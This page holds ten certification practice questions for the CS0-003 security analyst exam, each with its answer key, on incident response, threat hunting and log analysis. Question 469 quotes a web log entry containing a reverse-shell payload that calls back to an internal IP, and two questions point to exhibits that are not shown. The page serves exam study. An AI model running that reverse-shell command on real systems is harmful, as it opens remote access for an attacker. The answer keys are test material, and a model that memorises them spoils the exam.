CS0-003 practice questions 461–470

1. Question 461 · 527 in bank

   Which of the following threat-hunting concepts is most concerned with identifying the behaviors of the bad actor?

   • AThreat intelligence sharing
   • BIndicators of compromise
   • CInsider threat analysis
   • DTactics, techniques, and procedures

   Show answer

   Answer: D

   Next question

2. Question 462 · 527 in bank

   Which of the following best explains the importance of playbooks for incident response teams?

   • APlaybooks define compliance controls and help keep the monitoring process that is in place fully aligned with regulatory requirements as designed by international rules.
   • BPlaybooks help implement mitigation controls to prevent the occurrence of incidents in accordance with internal policies and procedures as designed by the IT team.
   • CPlaybooks set baseline requirements that are implemented before incidents happen to ensure the proper monitoring process in order to collect metrics and KPIs that will be used for lessons-learned procedures after a postmortem analysis.
   • DPlaybooks help minimize negative impacts and restore data, systems, and operations through highly detailed, preplanned procedures that will be followed when particular types of incidents occur.

   Show answer

   Answer: D

   Next question

3. Question 463 · 527 in bank

   Alerts from the security dashboard are reporting a cloud-based host is suspected to be corrupt. The OS is not loading. The initial investigation concludes that the OS files were modified. Which of the following security controls provided the report?

   • AFIM
   • BDLP
   • CNIDS
   • DAPI gateway

   Show answer

   Answer: A

   Next question

4. Question 464 · 527 in bank

   A company received a shipment of new network switches. Immediately after installing the switches, a security analyst notices suspicious traffic coming from one of the new switches. Which of the following best describes the threat actor?

   • AInsider threat
   • BSupply chain
   • CNation-state
   • DOrganized crime

   Show answer

   Answer: B

   Next question

5. Question 465 · 527 in bank

   Which of the following best describes the benefit of implementing a PAM solution?

   • AMeasuring and validating the integrity of the database
   • BControlling and monitoring the use of administrative accounts
   • CStoring and protecting PKI certificate private keys
   • DConfiguring and enforcing password complexity requirements

   Show answer

   Answer: B

   Next question

6. Question 466 · 527 in bank

   Several users received a phishing email containing a malicious file that bypassed the organization’s email security tool. Based on the SIEM logs, users did not open the file within the environment. In which of the following phases of the MITRE ATT&CK framework was the attack stopped?

   • ALateral movement
   • BExecution
   • CInitial access
   • DDiscovery

   Show answer

   Answer: B

   Next question

7. Question 467 · 527 in bank

   During the triage of a SIEM alarm, a security analyst identifies the following activity on a .bash_history file:

   

   Which of the following actions should the analyst take?

   • ADeclare an incident and look for data exfiltration.
   • BDeclare an incident and look for lateral movements.
   • CDeclare a false positive and close the alarm.
   • DDeclare an incident and look for malware in the affected machine.

   Show answer

   Answer: A

   Next question

8. Question 468 · 527 in bank

   Which of the following is the appropriate phase in the incident response process to perform a vulnerability scan to determine the effectiveness of corrective actions?

   • ALessons learned
   • BReporting
   • CRecovery
   • DRoot cause analysis

   Show answer

   Answer: C

   Next question

9. Question 469 · 527 in bank

   A security analyst identifies the following log entry in the web server logs: 10.203.10.23 - - [22/May/2024 11:06:29] "GET /admin?cmd=bash+-i+>%26+/dev/tcp/10.20.10.22/1234+0%3E%261 http/1.1" 200 - Which of the following best explains the log entry?

   • AThis was caused by an administrator logging in to a website using the command line.
   • BThis is a successful lateral movement abusing an RCE vulnerability.
   • CThis is a failed attack attempting to exploit an LFI vulnerability.
   • DThis was caused by a successful RFI vulnerability exploitation.

   Show answer

   Answer: B

   Next question

10. Question 470 · 527 in bank

    A security analyst receives an alert with the following packet capture:

    

    Which of the following conclusions should the analyst reach about this incident?

    • AEnCase is enumerating a server.
    • BA Nessus proxy is manipulating traffic.
    • CAn Nmap scan is occurring.
    • DMetasploit is installing on a target.

    Show answer

    Answer: C

    Next question

Keyboard:J Kmove between questionsA–Dselect an answerRshow or hide the answer← →change page

CS0-003 practice, question 461. 527 questions available.